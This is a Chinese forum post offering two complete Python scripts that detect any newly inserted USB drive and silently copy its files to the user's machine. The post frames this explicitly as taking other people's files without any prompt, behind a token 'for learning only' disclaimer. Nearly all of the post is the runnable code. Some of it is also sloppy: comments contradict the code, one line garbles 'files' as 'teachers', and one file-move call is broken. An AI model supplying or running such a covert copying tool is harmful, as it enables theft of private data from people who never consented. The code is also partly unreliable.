本帖子分享两个Python编写的U盘静默下载案例
可实现悄无声息的将别人的U盘里的老师们下载到自己的电脑,过程不会有任何提示!(仅供学习)
①自动识别U盘盘符并下载指定格式的U盘文件
以下是完整代码:
[Python] 纯文本查看 复制代码 import os
import shutil
import time
import psutil
# 获取本机硬盘盘符列表
def get_disk_drives():
disk_partitions = psutil.disk_partitions(all=False)
drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]
return drives
# 拷贝 U盘中的 .jpg、.png、.txt 文件到 指定目录
def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
for root, dirs, files in os.walk(source_folder):
for file in files:
if file.endswith((".jpg", ".png", ".txt")):
src_file = os.path.join(root, file)
dst_file = os.path.join(destination_folder, os.path.relpath(src_file, source_folder))
os.makedirs(os.path.dirname(dst_file), exist_ok=True)
with open(src_file, 'rb') as fsrc:
with open(dst_file, 'wb') as fdst:
shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)
# 检查是否有新的 U 盘插入
def check_for_new_drive(speed_limit_kb=10240): # 默认速度限制为 10240 KB/s
drives = get_disk_drives()
drives = [drive for drive in drives if drive not in excluded_drives]
new_drives = [drive for drive in drives if drive not in known_drives]
for new_drive in new_drives:
known_drives.append(new_drive)
print(f"New drive detected: {new_drive}")
time.sleep(3) # 等待3秒后再开始拷贝
copy_ppt_files(new_drive, destination_drive, speed_limit_kb)
if __name__ == "__main__":
# 已知的驱动器列表,用于检测新插入的驱动器
known_drives = []
excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
destination_drive = "Z://u盘静默下载" # 目标路径
# 检查目标路径是否存在,如果不存在则创建它
if not os.path.exists(destination_drive):
os.makedirs(destination_drive)
# 每隔一分钟检查U盘一次
while True:
check_for_new_drive()
time.sleep(10) # 等待60秒
②运行前需要更改U盘盘符,但是可以下载U盘内的所有文件:
编译器运行会有检测U盘的提示,检测到U盘后直接下载文件到指定路径
[Python] 纯文本查看 复制代码 from time import sleep
from shutil import copytree, copyfile, rmtree, move
import os
from psutil import disk_partitions
import logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
# 获取U盘的盘符
def get_usb_dispart():
for item in disk_partitions():
if item.opts == "rw,removable": # 可读、可移动介质
logger.info("发现USB:%s" % str(item))
return item.device
logger.info("没有发现USB")
return None
def get_useb_file(src, path="", select=None, dst=r"E:/"):# u盘的盘符
if select is None:# 无筛选规则,复制所有
copytree(src, dst)
logger.info("复制%s盘USB所有内容到%s" % (src, dst))
else: # 复制部分
paths = os.listdir(os.path.join(src, path)) # 获取当前路径下的所有文件及文件夹
for item in paths:
item = os.path.join(path, item)
if select in item:
if os.path.isdir(os.path.join(src, item)): #如果是文件夹,还有字符直接复制文件夹;否则递归遍历文件夹下的内容
try:
copytree(os.path.join(src, item), os.path.join(dst, item))
except Exception as e:
try:
rmtree(os.path.join(dst, item))
except:
continue
copytree(os.path.join(src, item), os.path.join(dst, item))
else:
try:
copyfile(os.path.join(src, item), os.path.join(dst, item))
except Exception as e:
os.makedirs(os.path.dirname(os.path.join(dst, item)))
try:
move(os.path.join(dst, item))
except:
continue
copyfile(os.path.join(src, item), os.path.join(dst, item))
logger.info("复制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
else:
if os.path.isdir(os.path.join(src, item)):
get_useb_file(src, item, select, dst)
if __name__ == "__main__":
while True:
path = get_usb_dispart()
if path is not None:
get_useb_file(src=path, select="测试", dst=r"Z:\usb")#保存到
break
sleep(1) |